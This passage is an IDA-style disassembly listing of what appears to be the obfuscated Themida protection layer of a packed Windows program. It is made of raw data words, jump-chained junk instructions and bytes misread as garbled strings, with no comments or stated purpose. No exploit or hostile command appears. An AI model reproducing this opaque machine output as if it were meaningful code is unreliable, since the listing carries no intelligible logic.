		dd 37CF6800h, 0C890000h, 62BE5624h, 0F75C7A40h,	0E6814EDEh
		dd 4C57009Dh, 0B24DE9h,	0E7EF8100h, 31842005h, 10685FF8h
		dd 89000047h, 57BD242Ch, 566D346Fh, 0E904EC83h,	0FFFFFA68h
; ---------------------------------------------------------------------------

loc_554F70:				; CODE XREF: Themida_:00556F6Fj
		add	esp, 4
		add	esp, 4
		push	3D0Bh
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_566B36
; ---------------------------------------------------------------------------
word_554F8E	dw 8F66h		; DATA XREF: Themida_:00551394o
		dd 0C555E902h, 0A224FFFFh, 690CD20Ch, 0FFC652E9h, 0E1C158FFh
		dd 8E1C104h, 760BC181h,	0E9C17C6Bh, 48E905h, 0C4830001h
		dd 4685204h, 0FF000000h, 0F2E92434h, 8F00008Fh,	248B2404h
		dd 2434FF24h, 5724048Bh, 0C781E789h, 4,	91E9h, 0C505E900h
		dd 0D9F7FFFFh, 4E9C149h, 0BDE4C181h, 0E2055436h, 293F5568h
		dd 68E22DC8h, 29593F55h, 2434FFC3h, 0C726E9h, 2DD82900h
		dd 0CBA68C3h, 1399BB53h, 31E9440Ch, 680000DAh, 4C15h, 0E9243C89h
		dd 0FB1Dh
; ---------------------------------------------------------------------------

loc_555028:				; CODE XREF: Themida_:0055E0DFj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 546743CBh
		shl	edx, 5
		jmp	loc_55258C
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 11BBFh, 4C481h, 0EC810000h, 4, 81242C89h, 2BF72434h
		dd 0E9591281h, 2A16h, 1950558h,	0D0010BC3h, 0C301952Dh
		dd 0A174E90Bh, 0C7830000h, 243C8704h, 2AAFE9h, 5BB45000h
		dd 0B403E9h
		db 0
; ---------------------------------------------------------------------------

loc_555085:				; CODE XREF: Themida_:00553F05j
		push	ecx
		mov	ecx, 31E57920h
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		dec	eax
		jmp	loc_559E8F
; ---------------------------------------------------------------------------

loc_555097:				; CODE XREF: Themida_:00556C1Aj
		add	ebp, 62FC4BF7h
		add	ebp, eax
		jmp	loc_5600F0
; ---------------------------------------------------------------------------

loc_5550A4:				; CODE XREF: Themida_:005667F1j
		sub	esp, 4
		mov	[esp], eax
		push	653Ah
		mov	[esp], esi
		jmp	loc_553385
; ---------------------------------------------------------------------------

loc_5550B7:				; CODE XREF: Themida_:00564D80j
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_55E15A
; ---------------------------------------------------------------------------

loc_5550C4:				; CODE XREF: Themida_:00564ABEj
		push	319Fh
		mov	[esp], esi
		push	61A6h
		mov	[esp], ebp
		mov	ebp, 1D5E2387h
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 1D5E2387h
		jmp	loc_55B454
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFCFh, 4C48159h,	8B000000h, 6EE9242Ch
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555107:				; CODE XREF: Themida_:0055DBFDj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 321C0008h
		add	ecx, edi
		pop	edi
		add	ecx, 67C816FEh
		add	ecx, edx
		push	eax
		jmp	loc_55955B
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 0DF3FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55512E:				; CODE XREF: Themida_:00556437j
		mov	[esp], edi
		jmp	loc_55BEA1
; ---------------------------------------------------------------------------

loc_555136:				; CODE XREF: Themida_:00562471j
		pop	edi
		pop	ebp
		sub	esi, 53CE2C15h
		sub	esi, edx
		add	esi, 53CE2C15h
		sub	esi, 7FB87D94h
		pop	edx
		jmp	loc_560F70
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 76E84F37h, 240C8B5Bh, 0E904C483h, 72Dh, 4C481h, 0BD550000h
		dd 0
		dd 5F9CED81h, 0C529168Dh, 5F9CC581h, 0E889168Dh, 0E92434FFh
		dd 0F23Dh, 56243C89h, 0B274B8BEh, 0C1DEF711h, 0E68104E6h
		dd 71225041h, 3B35E9h, 59CE0100h, 4EC81h, 34890000h, 2474FF24h
		dd 11DE904h, 0D9F70001h, 0BD55D1F7h, 1CB23FF9h,	5E9E931h
		dd 100001Bh, 0DAF9E9F1h, 0C330000h, 24248B24h, 68240C89h
		dd 5DDBh, 81242489h, 42404h, 55590000h,	0EF4549BDh, 77CD8111h
		dd 0C102A32Dh, 0F75506E5h, 815D2414h, 787A3DCDh, 0C5BE5649h
		dd 1B28305h, 0E9015EF5h, 7FFD685Dh, 34890000h, 4EC8124h
		dd 89000000h, 7AE9243Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555223:				; CODE XREF: Themida_:00559EEFj
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_55CE0A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4EC8124h, 0E9000000h, 0EBF6h
; ---------------------------------------------------------------------------

loc_555244:				; CODE XREF: Themida_:00559F98j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56666A
; ---------------------------------------------------------------------------
		db 1
		dd 148B59CFh, 4C48124h,	1000000h, 0BA525FF8h, 1660540Ch
		dd 3AE8B850h, 0E0C14237h, 366F3507h, 88351F65h,	574F6501h
		dd 41C07BBFh, 5FF801B9h, 158C329h, 62C381D3h, 5A04DF04h
		dd 1BA0EB81h, 0E9524BF3h, 2CDh,	8105E7C1h, 675DCDF7h, 44E78115h
		dd 0C121263Bh, 0F78107E7h, 9315A204h, 0B8A6E9h,	2CD25C00h
		dd 2CE99C24h, 5BFFFFC2h, 80EFE480h, 0E100C1C4h,	159CE9h
		dd 24348900h, 564C5668h, 0F23FE94Fh, 248B0000h,	27D1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5552E2:				; CODE XREF: Themida_:00559481j
		sub	edi, 4
		jmp	loc_557E94
; ---------------------------------------------------------------------------

loc_5552EA:				; CODE XREF: Themida_:0055798Fj
		xor	eax, ebx
		jmp	loc_55FD78
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0E3h
		dd 6B87D1Fh, 3584F381h,	0DE8950E8h, 85C4E9h
		db 0
; ---------------------------------------------------------------------------

loc_555305:				; CODE XREF: Themida_:00559912j
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_558598
; ---------------------------------------------------------------------------

loc_555314:				; CODE XREF: Themida_:005535F8j
		or	edx, eax
		jmp	loc_55D7D9
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5862E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555326:				; CODE XREF: Themida_:0055D799j
		mov	dx, [esp]
		push	6F17h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5631C2
; ---------------------------------------------------------------------------

loc_55533C:				; CODE XREF: Themida_:005668CAj
		shr	edx, 8
		jmp	loc_5517F5
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BD66242Ch, 1EE9062Ch, 2800007Bh,	0DF90E9C8h
		dd 0D366FFFFh, 0E99C243Ch, 0FFFFC187h
; ---------------------------------------------------------------------------

loc_555364:				; CODE XREF: Themida_:0055657Dj
		not	ecx
		or	ecx, 67535ADEh
		shl	ecx, 8
		add	ecx, 0FED9BD4h
		and	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558F89
; ---------------------------------------------------------------------------
		db 81h
		dd 0C98344C7h, 8BF931CFh, 99E9243Ch, 890000C4h,	0E0892404h
		dd 405h, 9DE95200h
		db 0FBh, 2 dup(0)
aWhg		db 'Whg=',0             ; DATA XREF: Themida_:00551230o
		dd 24048900h, 7F243481h, 8B44DA07h, 0C481243Ch,	4, 77FF781h
		dd 0A16844DAh, 89000068h, 0FD89242Ch, 2434FF55h, 8324048Bh
		dd 0C48304C4h, 242C8B04h, 0E9E78957h, 851Ah, 6E0C158h
		dd 0C46AD40Dh, 44DB0D15h, 0E9050463h, 35695564h, 2BDB6794h
		dd 3818E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55540E:				; CODE XREF: Themida_:00565593j
		add	esp, 4
		push	483Dh
		mov	[esp], esi
		push	800h
		pop	esi
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	74D3h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55FC9F
; ---------------------------------------------------------------------------

loc_555436:				; CODE XREF: Themida_:00560394j
		push	edi
		mov	edi, 5E20AC3Eh
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		jmp	loc_558B8F
; ---------------------------------------------------------------------------

loc_55544C:				; CODE XREF: Themida_:00564CFAj
		add	eax, edi
		jmp	loc_563B62
; ---------------------------------------------------------------------------
aSfk		db '\И■K',0
		dd 38EF8100h, 11B127Fh,	9BE95FFDh, 0B4FFFFC2h, 1FF4802Dh
		dd 4EC380h, 4EEB80E3h, 0ABC38058h, 0EB80C328h, 32EB80ABh
		dd 51BBEB80h, 886DB050h, 0E9C058C1h, 3E1C005h, 0E904E1C0h
		dd 0CA5Eh, 0BC243481h, 0FF411D7Eh, 34FF2434h, 211E924h
		dd 0C62D0001h, 106E58Dh, 0F38158C3h, 3E54452Bh,	3383EB81h
		dd 875317F2h, 0F731243Ch, 0F731FE31h, 5657D6F7h, 1BEE9h
		dd 58C23100h, 8305E2C1h, 0EC83FFC2h, 240C8904h,	653E00B9h
		dd 81D1F713h, 9DBEEF1h,	59CA29CBh, 26B7E9h, 68C60100h
		dd 82Ch, 0E9241489h, 0A83Ah, 55FFC581h,	7AE972D7h, 50FFFFEDh
		dd 0D85691B8h, 58C30141h, 25C0C381h, 8158087Eh,	4ECh, 243C8900h
		dd 7C8668h, 24348900h, 2BEh, 0F0895000h, 1FE9C789h, 89000041h
		dd 9268240Ch, 0E900000Dh, 0F9E5h, 4C7815Fh, 81000000h
		dd 4C7h, 243C8700h, 24048F5Ch, 3B9BE9h,	7811BA00h, 0F2816118h
		dd 52D52A80h, 815AD329h, 4D6351C3h, 81C3016Ah, 4D6351EBh
		dd 91C3816Ah, 6833CD52h, 622Bh,	83241489h, 0C8904ECh, 1E38E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55559A:				; CODE XREF: Themida_:005600A6j
		mov	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	64BDh
		mov	[esp], edi
		push	10000h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	70B8h
		mov	[esp], edx
		jmp	loc_555B63
; ---------------------------------------------------------------------------
word_5555D6	dw 8B66h		; DATA XREF: Themida_:00551320o
		dd 74682404h, 89000057h, 0A7E9242Ch, 5E000011h,	18F1B951h
		dd 85E93B56h, 590000D4h, 50ACC280h, 0FD5CE9h, 240C8700h
		dd 241C895Ch, 6FEEE956h, 0E5C10000h, 93BE5603h,	814D2668h
		dd 0C30ECDF6h, 4EE6D124h, 0E1C8F681h, 0F521F5BFh, 215FE95Eh
		dd 0EEC10000h, 73E94E05h, 8B00005Eh, 0C483241Ch, 0BEADE904h
		dd 0CF81FFFFh, 70607A9Bh, 1F83C781h, 0ACE93530h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55564F:				; CODE XREF: Themida_:00565B45j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5600CF
; ---------------------------------------------------------------------------
		db 83h
		dd 0D83002C4h, 8F19E9h,	0F6D58600h, 0E9D586D2h,	0FEAAh
		dd 0E9C8BE0Fh, 0FEDCh, 0E955B75Bh, 0FFFFD317h
; ---------------------------------------------------------------------------

loc_555688:				; CODE XREF: Themida_:00554CE8j
		mov	dh, 0A0h
		jmp	loc_562003
; ---------------------------------------------------------------------------
		db 5Fh
		dd 10B42E9h, 0FDE95C00h
		db 0E7h, 2 dup(0FFh)
byte_55569B	db 0FFh			; DATA XREF: Themida_:00551494o
a4S		db '4$Иа&',0
		dw 8100h
		dd 0AA6AB4EFh, 56EF0154h, 7919DFBEh, 0FF74E914h
		db 2 dup(0FFh)
aNs3		db '╜И3╪',0             ; DATA XREF: Themida_:005513F8o
		align 4
		dd 0C0DDE180h, 0E9D002E9h, 709E68h, 24148900h, 0CBE9A4B6h
		dd 33000116h, 295C241Ch, 242C8BE8h, 0A313E9h, 68BF5A00h
		dd 315A1604h, 0F7815EF7h, 7921F06h, 814FDFF7h, 61FC31F7h
		dd 5FF821E0h, 709A372Dh, 58C2299Fh, 0EDD9E9h
		db 0
; ---------------------------------------------------------------------------

loc_555709:				; CODE XREF: Themida_:005612AFj
		xor	esi, ebx
		jmp	loc_560245
; ---------------------------------------------------------------------------
		dd 24D8B050h, 0F87CE9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55571A:				; CODE XREF: Themida_:0055E669j
		pop	esi
		add	esp, 4
		sub	esi, 4C3078D8h
		add	esi, eax
		add	esi, 4C3078D8h
		push	dword ptr [esp]
		jmp	loc_55264F
; ---------------------------------------------------------------------------

loc_555734:				; CODE XREF: Themida_:00563AD9j
		push	edx
		push	ebp
		mov	ebp, 6B9A47C3h
		or	ebp, 0BD15B84h
		xor	ebp, 759631B0h
		mov	edx, ebp
		jmp	loc_557076
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 5E545600h, 4C681h, 67680000h, 89000064h, 0F0BA2414h
		dd 6827CE64h, 27A3h, 0BE243489h, 58DF2BCDh, 7D7CE681h
		dd 0F68122EDh, 0CCD2BA0h, 22A2BA52h, 0D2F74ADDh, 55D0C281h
		dd 0E94A0C21h, 0A3CCh, 0E99C5166h, 0FFFFBD4Bh, 592434FFh
		dd 25568h, 24148900h, 3E0E68h, 24248900h, 4240483h, 5A2434FFh
		dd 4C481h, 0E9510000h, 2F1Ah
; ---------------------------------------------------------------------------

loc_5557C8:				; CODE XREF: Themida_:00558721j
		add	ebx, 14072542h
		add	ebx, 417219A9h
		jmp	loc_55D673
; ---------------------------------------------------------------------------

loc_5557D9:				; CODE XREF: Themida_:00562287j
		mov	edx, 3D0E2A43h
		add	edx, 0FFFFFFFFh
		shr	edx, 4
		and	edx, 2ED22A07h
		jmp	loc_55F263
; ---------------------------------------------------------------------------

loc_5557EF:				; CODE XREF: Themida_:0056107Fj
		mov	edi, 2
		jmp	loc_5548DD
; ---------------------------------------------------------------------------

loc_5557F9:				; CODE XREF: Themida_:00563D3Bj
		mov	ebp, 1B6661EEh
		add	ebp, 0E57CCCCDh
		push	ecx
		push	ebp
		jmp	loc_563A51
; ---------------------------------------------------------------------------
		db 1
		dd 0D8295BD8h, 4705DB2Dh, 6E640557h, 0A2053F47h, 2D0B066Fh
		dd 34D660CAh, 212068h, 243C8900h, 23B86855h, 815D4D6Ch
		dd 0B9E4B3F5h, 8BEF893Eh, 0EE9242Ch, 9000043h, 2434FFC8h
		dd 7220E9h, 5FFD2900h, 6D1BBF57h, 0DFF71D5Bh, 0FFCEE7E9h
		dd 4C681FFh, 81000000h,	4EEh, 24348700h, 6200E9h, 5BFD0800h
		dd 66A7F580h, 41B252h, 5A66D0h,	59412CE8h, 0EC81D800h
		dd 2, 0DFFFE9h,	24148700h, 6624248Bh, 0AC68E9F7h, 0E9000068h
		dd 75A5h, 0E924248Bh, 0FFFFD23Eh
; ---------------------------------------------------------------------------

loc_5558AC:				; CODE XREF: Themida_:005517F0j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		sub	ecx, 430735A9h
		jmp	loc_5595DC
; ---------------------------------------------------------------------------
aPsT		db '(сPИьT',0
		align 10h
		dd 0A9D7EE81h, 0F0015071h, 0F0F3E95Eh, 0FFBBFFFFh, 1EC34FFh
		dd 5C015EF3h, 15B0824h,	8104244Ch, 0C704246Ch, 0FF6B534Ch
		dd 0C8B2434h, 4C48124h,	0E9000000h, 0AA5Bh, 0EEE1F281h
		dd 72E9F0C1h, 810000FDh, 0DCFD4DE9h, 0E5B8501Ch, 2947F12Dh
		dd 0D0E958C7h, 81000102h, 0A50707E6h, 0AEE68129h, 46713274h
		dd 2C0C681h, 0C6814850h, 0F9E0A26h, 8CE9F129h, 580000F4h
		dd 148BD029h, 2596824h,	34890000h, 0C3FDE924h, 4481FFFFh
		dd 7B950424h, 0E95A05CDh, 0AF25h, 932AAABDh, 0F7DDF74Fh
		dd 74F581D5h, 8126D100h, 0B5C318EDh, 5A1CE929h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555982:				; CODE XREF: Themida_:005643AFj
		mov	ebp, edx
		mov	ebx, ebp
		jmp	loc_55E716
; ---------------------------------------------------------------------------
		dd offset dword_5B8A68
		align 10h
		dd 0BA241489h, 6DC06DFAh, 0E95AD501h, 0FFFFEFBCh, 0A73D9A05h
		dd 2DD8010Ah, 0AA73D9Ah, 81241C8Bh, 4C4h, 24048700h, 0E924248Bh
		dd 6D8h, 0DAE9F701h, 5E00005Ch,	0E581F587h, 58E24EF0h
		dd 2FEE952h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5559D6:				; CODE XREF: Themida_:0055AF05j
		add	esp, 4

loc_5559D9:				; CODE XREF: Themida_:loc_556B06j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_560291
; ---------------------------------------------------------------------------
		dw 0C731h
		dd 8124048Bh, 4C4h, 0FFC78300h,	979AF781h, 0FD89169Ah
		dd 0C536E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A06:				; CODE XREF: Themida_:0055B7F1j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_561ED9
; ---------------------------------------------------------------------------

loc_555A10:				; CODE XREF: Themida_:005576D9j
		sub	ebp, 87C20F7h
		shr	ebp, 2
		jmp	loc_5613D8
; ---------------------------------------------------------------------------
		dw 0FE21h
		dd 39F6815Fh, 5002A261h, 74666B8h, 0DAABE916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A32:				; CODE XREF: Themida_:00552AC1j
		pop	esi
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_557DCB
; ---------------------------------------------------------------------------

loc_555A4B:				; CODE XREF: Themida_:00552FE8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_556393
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 61CE360Fh
		sub	[esp+4], edx
		pop	edx
		mov	ecx, [esp]
		push	5F55h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_559354
; ---------------------------------------------------------------------------
		dd 6AE955h, 6C810001h, 64380424h, 80E95B08h, 0BE000053h
		dd 2, 77CBB951h, 0CBE90A3Dh, 0C10000D0h, 7EE908EAh, 81000109h
		dd 723309C9h, 0FFBD550Bh, 29FFFFFFh, 0E1815DE9h, 6E3677A0h
		dd 0FA50C181h, 0B52D59CDh, 14AD341h, 41B505C8h,	5594AD3h
		dd 0CBA68C3h, 0FFF504E9h
		db 0FFh
byte_555B05	db 68h,	0Bh, 13h	; DATA XREF: Themida_:0055123Co
		dd 14890000h, 0E9E28924h, 0BC0Dh, 0EBE5655h, 0F7199D55h
		dd 8C66E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555B22:				; CODE XREF: Themida_:0055689Fj
		sub	ecx, 34E736D5h
		add	ecx, ebp
		add	ecx, 34E736D5h
		add	ecx, 74A13F9Ch
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55E051
; ---------------------------------------------------------------------------
		dw 5550h
		dd 76456568h, 242C8B39h, 4C481h, 0ED810000h, 2B644078h
		dd 4E9F581h, 20E90E12h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_555B63:				; CODE XREF: Themida_:005555D1j
		mov	edx, 195B7E87h
		add	edx, 0E6A4817Dh
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 212768ADh
		push	eax
		jmp	loc_55B2B5
; ---------------------------------------------------------------------------

loc_555B88:				; CODE XREF: Themida_:005528F4j
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		push	edx
		mov	edx, 0
		add	edx, ecx
		xor	[edx], ebx
		jmp	loc_55F1F2
; ---------------------------------------------------------------------------
		db 66h
		dd 8AEF8853h, 8803246Ch, 6603247Ch, 81241C8Bh, 2C4h, 48B6600h
		dd 6410E924h, 4BBB0000h, 213CE370h, 241C8BD8h, 2D04C483h
		dd 10A34047h, 158C189h,	0D34EE9CBh, 0F2010000h,	236BE9h
		dd 596600h, 241C8BF8h, 2C04C483h, 2CF32C3Ah, 4F828E9h
		dd 4F304E9h, 0B753663Ah, 66F828F4h, 87E7E95Bh, 33B30000h
		dd 10A08E9h, 0EFC15F00h, 69AE906h, 0C4680001h, 89000014h
		dd 0F1E92414h, 0B7FFFFB9h, 4EC819Eh, 89000000h,	0B1B3241Ch
		dd 1C8BDD00h, 4C48124h,	28000000h, 0B1ED80FDh, 241C8B66h
		dd 2C481h, 0E8280000h, 0DC686659h, 14896640h, 27E95024h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555C5B:				; CODE XREF: Themida_:00561794j
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, 11536925h
		add	edi, ebp
		pop	ebp
		jmp	loc_55FF9D
; ---------------------------------------------------------------------------
		dd 0BF0CF181h, 0CD010153h, 83240C8Bh, 685004C4h, 3A5F13E9h
		dd 5CBD3558h, 0D8F735A8h, 8413FB25h, 35D0F765h,	9FFFEF53h
		dd 5558C529h, 42474FFh,	0FFEEF8E9h, 33F781FFh, 500AD00h
		dd 2AF968C4h, 96489005h, 2DF8014Ah, 4A964890h, 6BDAE9h
		db 0
; ---------------------------------------------------------------------------

loc_555CC1:				; CODE XREF: Themida_:00555E0Dj
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55A3B7
; ---------------------------------------------------------------------------
		dd 0BB4A55BFh, 5FFA8961h, 0E95AD629h, 0CF80h
; ---------------------------------------------------------------------------

loc_555CE0:				; CODE XREF: Themida_:0055DCD9j
		push	ecx
		push	4
		jmp	loc_5636BE
; ---------------------------------------------------------------------------

loc_555CEB:				; CODE XREF: Themida_:00563E79j
		pop	eax
		pop	ecx
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55F8B2
; ---------------------------------------------------------------------------
		dd 2868DEF7h, 8900001Fh, 1BB82404h, 2111850Fh, 24048BC6h
		dd 1F76E9h, 54E28100h, 817B6F71h, 453534F2h, 5AD32908h
		dd 6D9AE95Ah, 0BA520000h, 261761CEh, 7BBB534Ah,	431E2814h
		dd 0FE9D3F7h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555D4B:				; CODE XREF: Themida_:00560EB7j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55BF44
; ---------------------------------------------------------------------------
		dw 6850h
		dd 49A96A14h, 6A16BA58h, 0C23149A9h, 5B540558h,	0D00179B1h
		dd 0B15B542Dh, 0E9505A79h, 0D30Bh
; ---------------------------------------------------------------------------

loc_555D78:				; CODE XREF: Themida_:00565970j
		dec	edi
		dec	edi
		add	edi, 0AABC7F84h
		sub	ecx, 26C84140h
		add	ecx, edi
		add	ecx, 26C84140h
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		pop	eax
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552216
; ---------------------------------------------------------------------------

loc_555DB5:				; CODE XREF: Themida_:00556968j
		push	ebp
		jmp	loc_560135
; ---------------------------------------------------------------------------
aMhp		db '╛h╞>',0             ; DATA XREF: Themida_:00551300o
		dd 24048900h, 0D184E9h,	4C48300h, 0E0DFE9h, 0E9C8FE00h
		dd 7D4h
dword_555DD8	dd 24048B66h, 8904EC83h, 58E92404h ; DATA XREF:	Themida_:0055137Co
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555DE7:				; CODE XREF: Themida_:0055B9EDj
		sub	ecx, ebp
		jmp	loc_557EE2
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 0E9240C8Bh, 3B88h
; ---------------------------------------------------------------------------

loc_555DF8:				; CODE XREF: Themida_:005589BFj
		dec	dword ptr [esp]
		pop	ebp
		shr	ebp, 1
		xor	ebp, 4D456A1Bh
		dec	ebp
		xor	ebp, 635361EFh
		add	edi, ebp
		jmp	loc_555CC1
; ---------------------------------------------------------------------------
aITs		db '┴,$TИ,/',0
		db 0
; ---------------------------------------------------------------------------

loc_555E1B:				; CODE XREF: Themida_:00551F09j
		push	ebx
		jmp	loc_566D7D
; ---------------------------------------------------------------------------

loc_555E21:				; CODE XREF: Themida_:00551681j
		or	eax, 5D8A7AC3h
		push	edx
		jmp	loc_565FC3
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 2474FF24h,	48F5804h, 0F473E924h, 0C581FFFFh
		dd 68721E67h, 0F581DDF7h, 0D82268FBh, 0B295E9h,	2434FF00h
		dd 0CE5CE958h, 565CFFFFh, 0D0F8E9h, 2ED8100h, 0E9C6994Dh
		dd 9941h, 348BF231h, 0E7895724h, 4C781h, 68E90000h, 81000071h
		dd 3D7FDAEAh, 2434FF0Ch, 83241C8Bh, 0C48104C4h,	4, 0E904C283h
		dd 5903h, 8306E3C1h, 1C8904ECh,	2414F724h, 0FFF440E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555EB1:				; CODE XREF: Themida_:005598BEj
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_55C6C7
; ---------------------------------------------------------------------------

loc_555EBB:				; CODE XREF: Themida_:0055E5E9j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_552AC6
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 2
		dd 0B411ED81h, 6EE94ECCh, 4000036h, 510A2CACh, 0C18030B1h
		dd 0C6E18080h, 0FFE4A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555EF1:				; CODE XREF: Themida_:0056445Cj
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_55F55F
; ---------------------------------------------------------------------------

loc_555EFC:				; CODE XREF: Themida_:0055931Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55BC89
; ---------------------------------------------------------------------------

loc_555F14:				; CODE XREF: Themida_:00564811j
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		jmp	loc_55A1E8
; ---------------------------------------------------------------------------
a1Sf		db '1,$ИF',7,0
		align 2

loc_555F2A:				; CODE XREF: Themida_:00553B3Dj
		push	esi
		jmp	loc_558E77
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 55000000h,	9797E9h
		db 0
byte_555F3D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055146Co
		dd 0E92434FFh, 0C1B1h
; ---------------------------------------------------------------------------

loc_555F48:				; CODE XREF: Themida_:00563318j
		mov	ecx, 7C655979h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5545CB
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 583CA468h, 24048B6Dh, 4C481h, 0D0F70000h, 641B68h, 241C8900h
		dd 0FFFC49E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555F75:				; CODE XREF: Themida_:00559777j
		push	eax
		mov	eax, 9F3374Ch
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, ebx
		add	ebp, 9F3374Ch
		pop	ebx
		push	7C44h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55882E
; ---------------------------------------------------------------------------
		dw 8EBDh
		dd 0E977C818h, 0F147h, 2546E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555FB6:				; CODE XREF: Themida_:0055C0C1j
		xor	ecx, ebp
		inc	ecx
		push	edx
		mov	edx, 1E7F2EE6h
		jmp	loc_558DC3
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3175h, 4CBDBB53h, 0A9E962B4h, 0F7000021h
		dd 5E1C1D9h, 31D1E9h, 0E9DFF600h, 3B53h, 3BEBCB81h, 0B9513F82h
		dd 0A29079Ch, 4BB2E9h, 70EB8100h, 8B087F19h, 0C483243Ch
		dd 241C3304h, 33241C31h, 835C241Ch, 0C8702C1h, 24248B24h
		dd 240C8B66h, 5DE6E9h
		db 0
; ---------------------------------------------------------------------------

loc_556021:				; CODE XREF: Themida_:00556F27j
		pop	ecx
